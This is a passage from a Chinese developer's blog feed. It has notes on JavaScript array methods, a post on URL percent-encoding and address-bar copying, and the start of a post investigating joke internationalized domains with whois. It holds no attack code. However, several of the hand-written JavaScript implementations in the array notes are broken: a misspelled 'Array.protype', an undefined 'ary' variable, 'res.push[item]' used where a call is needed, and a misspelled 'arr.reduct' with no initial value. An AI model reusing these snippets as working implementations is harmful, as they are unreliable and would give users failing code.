<li><a href="https://juejin.cn/post/6854573211699380237"  target="_blank" rel="noopener" >js遍历数组的10种方法 - 掘金</a></li>
<li><a href="https://segmentfault.com/a/1190000022348279"  target="_blank" rel="noopener" >javascript - for…in和for…of的用法与区别 - 前端开发随笔 - SegmentFault 思否</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce"  target="_blank" rel="noopener" >Array.prototype.reduce() - JavaScript | MDN</a></li>
<li><a href="http://www.webkaka.com/tutorial/js/2023/0607221/"  target="_blank" rel="noopener" >为什么不能在forEach中使用break、continue或return？ - js技术_卡卡网</a></li>
</ul>
<hr>
<h2 id="实现foreach-map-filter">实现forEach, map, filter</h2>
<ul>
<li>forEach</li>
<li>wip: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach#callbackfn"  target="_blank" rel="noopener" >Array.prototype.forEach() - JavaScript | MDN</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">protype</span><span class="p">.</span><span class="nx">forEach</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span> <span class="c1">// 调用 forEach 方法的数组实例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">callbackFn</span><span class="p">,</span><span class="nx">thisArg</span><span class="p">]</span> <span class="o">=</span> <span class="p">[].</span><span class="nx">slice</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">arguments</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">callbackFn</span> <span class="o">!==</span> <span class="s1">&#39;function&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">throw</span> <span class="k">new</span> <span class="nx">TypeError</span><span class="p">(</span><span class="nx">callbackFn</span> <span class="o">+</span> <span class="s1">&#39;is not a function&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o">&lt;</span><span class="nx">ary</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="nx">callbackFn</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">thisArg</span><span class="p">,</span><span class="nx">array</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="nx">i</span><span class="p">,</span><span class="nx">array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>map</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">map</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">fn</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">arr</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">fn</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>filter</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">filter</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">fn</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span><span class="p">[];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">arr</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">isOk</span> <span class="o">=</span> <span class="nx">fn</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">isOk</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">push</span><span class="p">[</span><span class="nx">item</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><hr>
<h2 id="数组去重">数组去重</h2>
<h3 id="set">set</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="k">new</span> <span class="nx">Set</span><span class="p">(</span><span class="nx">arr</span><span class="p">))</span>
</span></span></code></pre></div><h3 id="reduce-1">reduce()</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">myArray</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;e&#34;</span><span class="p">,</span> <span class="s2">&#34;e&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">myArrayWithNoDuplicates</span> <span class="o">=</span> <span class="nx">myArray</span><span class="p">.</span><span class="nx">reduce</span><span class="p">((</span><span class="nx">accumulator</span><span class="p">,</span> <span class="nx">currentValue</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">accumulator</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">currentValue</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[...</span><span class="nx">accumulator</span><span class="p">,</span> <span class="nx">currentValue</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">accumulator</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">myArrayWithNoDuplicates</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000016418021"  target="_blank" rel="noopener" >JavaScript 数组去重的方法（12 种方法，史上最全） - 前端开发随笔 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="常用api">常用API</h2>
<h3 id="slice">slice</h3>
<ul>
<li>语法: <code>slice(start, end)</code></li>
<li>返回一个新的数组对象，这一对象是一个由 start 和 end 决定的原数组的浅拷贝（包括 start，不包括 end），其中 start 和 end 代表了数组元素的索引</li>
<li>原始数组不会被改变。</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice"  target="_blank" rel="noopener" >Array.prototype.slice() - JavaScript | MDN</a></li>
</ul>
<h3 id="flatten">flatten</h3>
<ul>
<li>实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myFlatten</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">depth</span><span class="o">=</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="nx">depth</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">reduct</span><span class="p">((</span><span class="nx">pre</span><span class="p">,</span><span class="nx">cur</span><span class="p">)=&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">pre</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">cur</span><span class="p">)</span><span class="o">?</span><span class="nx">myFlatten</span><span class="p">(</span><span class="nx">cur</span><span class="p">,</span><span class="nx">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">:</span><span class="nx">cur</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">slice</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://juejin.cn/post/7084855668233994276"  target="_blank" rel="noopener" >ES6 flat 与数组扁平化前言   flat 用于将多维数组拉平（扁平化），不影响原数组，返回新的数组。   仅有一 - 掘金</a></li>
</ul>
<h3 id="shift与pop">shift与pop</h3>
<ul>
<li>shift：从数组中删除<strong>第一个</strong>元素，并返回该元素的值。此方法更改数组的长度</li>
<li>pop: 从数组中删除<strong>最后一个</strong>元素，并返回该元素的值。此方法更改数组的长度</li>
</ul>
<h3 id="indexof">indexof</h3>
<ul>
<li>
<p>语法: <code>indexOf(searchElement, fromIndex)</code></p>
</li>
<li>
<p>比较: <code>===</code>， 将 searchElement 与数组中的元素进行比较。NaN 值永远不会被比较为相等，因此当 searchElement 为 NaN 时 indexOf() 总是返回 -1</p>
</li>
<li>
<p>indexOf() 方法会跳过稀疏数组中的空槽。</p>
</li>
<li>
<p>找出指定元素出现的所有位置:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">indices</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">element</span> <span class="o">=</span> <span class="s2">&#34;a&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">idx</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">element</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="nx">idx</span> <span class="o">!==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">indices</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">idx</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">element</span><span class="p">,</span> <span class="nx">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">indices</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// [0, 2, 4]
</span></span></span></code></pre></div></li>
<li>
<p>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf"  target="_blank" rel="noopener" >Array.prototype.indexOf() - JavaScript | MDN</a></p>
</li>
</ul>
<h3 id="concat">concat</h3>
<ul>
<li>语法: <code>concat(value0, value1, /* … ,*/ valueN)</code></li>
<li>如果省略了所有 valueN 参数，则 concat 会返回调用此方法的现存数组的一个浅拷贝</li>
<li>创建一个新数组。该数组将首先由调用它的对象中的元素填充。然后，对于每个参数，它的值将被连接到数组中</li>
<li>如果任何源数组是稀疏数组，concat() 方法会保留空槽</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/concat"  target="_blank" rel="noopener" >Array.prototype.concat() - JavaScript | MDN</a></li>
</ul>
<h3 id="reduceright">reduceRight</h3>
<ul>
<li>对累加器（accumulator）和数组的每个值（按<strong>从右到左</strong>的顺序）应用一个函数，并使其成为单个值。</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight"  target="_blank" rel="noopener" >Array.prototype.reduceRight() - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="参考-3">参考</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from"  target="_blank" rel="noopener" >Array.from() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000016418021"  target="_blank" rel="noopener" >JavaScript 数组去重的方法（12 种方法，史上最全） - 前端开发随笔 - SegmentFault 思否</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>浏览器地址栏探秘</title>
      <link>https://euds.org/2024/exploring-the-browser-address-bar/</link>
      <pubDate>Sun, 21 Jan 2024 00:58:57 +0800</pubDate>
      
      <guid>https://euds.org/2024/exploring-the-browser-address-bar/</guid>
      <description>URL handling in Address bar</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>我发现浏览器地址栏中显示的，和我将其复制粘贴到编辑器中的内容不同。</p>
<p>比如地址栏显示的是，<code>https://ds63.eu.org/2022/村上春树</code>，但当我粘贴到Vscode后，却是<code>https://ds63.eu.org/2022/%E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91/</code></p>
<h2 id="编码与解码">编码与解码</h2>
<p>我之前只知道形如<code>%E6%9D%91</code>是url编码，但没详细了解过。</p>
<p>根据<a href="https://www.wikiwand.com/zh/URL%E7%BC%96%E7%A0%81"  target="_blank" rel="noopener" >百分号编码 - Wikiwand</a>的介绍，过程如下：</p>
<ol>
<li>将每个字符按照 UTF-8 编码规则转换为字节序列</li>
<li>将每个字节编码为 % 后跟两个十六进制数字</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">original_string</span> <span class="o">=</span> <span class="s2">&#34;村上春树&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">utf8_string</span> <span class="o">=</span> <span class="n">original_string</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">utf8_string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#b&#39;\xe6\x9d\x91\xe4\xb8\x8a\xe6\x98\xa5\xe6\xa0\x91&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">hex_utf8_string</span> <span class="o">=</span>  <span class="s1">&#39;%&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">b</span><span class="si">:</span><span class="s1">02X</span><span class="si">}</span><span class="s1">&#39;</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">utf8_string</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">hex_utf8_string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91</span>
</span></span></code></pre></div><ol start="3">
<li>实际使用时可以用<code>urllib.parse</code>这个库</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 编码</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote</span><span class="p">,</span><span class="n">unquote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">original_url</span> <span class="o">=</span> <span class="s2">&#34;https://ds63.eu.org/2022/村上春树&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">encoded_url</span> <span class="o">=</span> <span class="n">quote</span><span class="p">(</span><span class="n">original_url</span><span class="p">,</span> <span class="n">safe</span><span class="o">=</span><span class="s1">&#39;:/&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">encoded_url</span><span class="p">)</span> <span class="c1">#https://ds63.eu.org/2022/%E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#解码</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_url</span> <span class="o">=</span> <span class="n">unquote</span><span class="p">(</span><span class="n">encoded_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decoded_url</span><span class="p">)</span> <span class="c1">#https://ds63.eu.org/2022/村上春树/</span>
</span></span></code></pre></div><h2 id="显示与实际复制">显示与实际复制</h2>
<p>那浏览器是如何实现用户看到的与实际复制不同的呢，我猜测可能是这样的：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;userFriendlyUrl&#34;</span> <span class="na">oncopy</span><span class="o">=</span><span class="s">&#34;handleCopy()&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        https://ds63.eu.org/2022/村上春树
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="kd">function</span> <span class="nx">handleCopy</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 获取用户友好的URL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">userFriendlyUrl</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;userFriendlyUrl&#34;</span><span class="p">).</span><span class="nx">innerText</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 对URL进行URL编码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">encodedUrl</span> <span class="o">=</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">userFriendlyUrl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 创建一个文本区域元素，设置其值为编码后的URL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">textarea</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;textarea&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">textarea</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">encodedUrl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 将文本区域元素添加到页面中
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">textarea</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 选中文本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">textarea</span><span class="p">.</span><span class="nx">select</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">textarea</span><span class="p">.</span><span class="nx">setSelectionRange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">99999</span><span class="p">);</span> <span class="c1">// 兼容移动设备
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 复制文本到剪贴板
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">execCommand</span><span class="p">(</span><span class="s2">&#34;copy&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 移除文本区域元素
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">removeChild</span><span class="p">(</span><span class="nx">textarea</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 阻止默认复制事件，避免复制原始文本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">//alert(&#34;URL copied: &#34; + encodedUrl);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><h2 id="国际化域名">国际化域名</h2>
<p>我上述的例子并没有考虑到国际化域名。</p>
<p>具体可参看<a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >国际化域名</a>和<a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode编码</a>。</p>
<h2 id="意外收获">意外收获</h2>
<p>我之前就好奇汉字到底有多少个，看<a href="https://www.qqxiuzi.cn/zh/hanzi-unicode-bianma.php"  target="_blank" rel="noopener" >中文字符集 Unicode 编码范围</a>，发现可能应该不到十万。</p>
<p>ps: 看<a href="https://zh.wikipedia.org/wiki/%E4%B8%AD%E6%97%A5%E9%9F%93%E7%B5%B1%E4%B8%80%E8%A1%A8%E6%84%8F%E6%96%87%E5%AD%97?oldformat=true"  target="_blank" rel="noopener" >中日韩统一表意文字 - 维基百科，自由的百科全书</a>，还是觉得很混乱。不少是历史遗留下来的问题，所以我先前的估算显然是有问题的。</p>
<p>之后我又查了些资料，发现现在关于汉字的数量仍没有定论，可以说是众说纷纭。</p>
<h2 id="延伸">延伸</h2>
<p>在写这篇博客之后，我才注意到浏览器的地址栏原来有如此多的功能：</p>
<ol>
<li>
<p>地址栏预测： 当用户输入地址栏时，浏览器会根据用户的浏览历史、收藏夹和搜索历史等信息提供地址栏预测。这有助于用户快速访问常用站点。</p>
</li>
<li>
<p>搜索建议： 地址栏还充当搜索栏，用户可以直接在其中输入搜索关键字。浏览器通常会基于用户的输入和搜索历史，提供搜索建议。</p>
</li>
<li>
<p>安全指示： 浏览器通常在地址栏中显示有关连接安全性的信息，如锁定图标或&quot;安全&quot;标签，以指示连接的加密状态。</p>
</li>
<li>
<p>国际化域名（IDN）支持： 浏览器会对国际化域名进行处理，确保它们在地址栏中正确显示，并在需要时进行Punycode编码。</p>
</li>
<li>
<p>复制与粘贴： 用户在地址栏中复制时，通常会复制显示的用户友好的URL，而不是编码后的URL。这是为了提高用户的可理解性。</p>
</li>
</ol>
<p>这里打算给自己挖个坑，想试着自己实现一个地址栏。</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.wikiwand.com/zh/URL%E7%BC%96%E7%A0%81"  target="_blank" rel="noopener" >百分号编码 - Wikiwand</a></li>
<li><a href="https://www.wikiwand.com/zh-cn/UTF-8"  target="_blank" rel="noopener" >UTF-8 - Wikiwand</a></li>
<li><a href="https://www.qqxiuzi.cn/zh/hanzi-unicode-bianma.php"  target="_blank" rel="noopener" >中文字符集 Unicode 编码范围</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/omnibox"  target="_blank" rel="noopener" >omnibox - Mozilla | MDN</a></li>
<li><a href="https://zh.wikipedia.org/wiki/%E4%B8%AD%E6%97%A5%E9%9F%93%E7%B5%B1%E4%B8%80%E8%A1%A8%E6%84%8F%E6%96%87%E5%AD%97?oldformat=true"  target="_blank" rel="noopener" >中日韩统一表意文字 - 维基百科，自由的百科全书</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>xx原神大学是如何实现的</title>
      <link>https://euds.org/2024/how-to-implement-xx-genshin-university/</link>
      <pubDate>Fri, 05 Jan 2024 01:09:45 +0800</pubDate>
      
      <guid>https://euds.org/2024/how-to-implement-xx-genshin-university/</guid>
      <description>前段时间很常能看到xx原神大学的域名，今天来了解下它是如何实现的。</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>前段时间很常能看到xx原神大学的域名,有趣是有趣，但具体是怎么实现的倒真没去了解过。</p>
<p>今天看到群里有人问:</p>
<blockquote>
<p>所以玩原神玩的为什么搜出来来会是中科大？
我在dns查询上面查出来地址是75.126.101.233，而且无法访问</p>
</blockquote>
<p>好奇心驱使下，我展开了调查。</p>
<h2 id="已知">已知</h2>
<p>访问<a href="%e4%b8%ad%e5%9b%bd%e7%a7%91%e5%ad%a6%e6%8a%80%e6%9c%af%e5%a4%a7%e5%ad%a6.com" >中国科学技术大学.com</a>会跳转到<a href="https://ys.mihoyo.com/"  target="_blank" rel="noopener" >《原神》官方网站</a></p>
<p>而<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>则是<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>。</p>
<h2 id="推测">推测</h2>
<p>我首先能想到可行的方法有两个:</p>
<ul>
<li>重定向,访问网站的时候，服务器返回一个重定向的网址。</li>
<li>DNS解析的时候就解析到了中科大的网站,比如：
<table>
<thead>
<tr>
<th>SUBDOMAIN</th>
<th>TYPE</th>
<th>VALUE</th>
<th>TTL, SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>@</td>
<td>CNAME</td>
<td>ustc.edu.cn</td>
<td>86400</td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="过程">过程</h2>
<ol>
<li>
<p>我很自然地想到，跳转嘛，我把网速限制得慢点就能看到没跳转前的了。这可以用浏览器自带的开发者工具来做。但无果。</p>
</li>
<li>
<p>我用<code>whois</code>查了下这个域名，得到</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">eu:~$ whois 玩原神玩的.com
</span></span><span class="line"><span class="cl">Domain Name: XN--8MR985EBA830AIYE.COM
</span></span><span class="line"><span class="cl">Registry Domain ID: 2822210486_DOMAIN_COM-VRSN
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div></li>
<li>
<p>这时候我以为这里的<code>XN--8MR985EBA830AIYE.COM</code>会是突破口，但查了下才知道：这是使用了<a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >国际化域名</a>，而<code>XN--8MR985EBA830AIYE.COM</code>是<code>玩原神玩的.com</code>的<a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode编码</a>。</p>
</li>
<li>
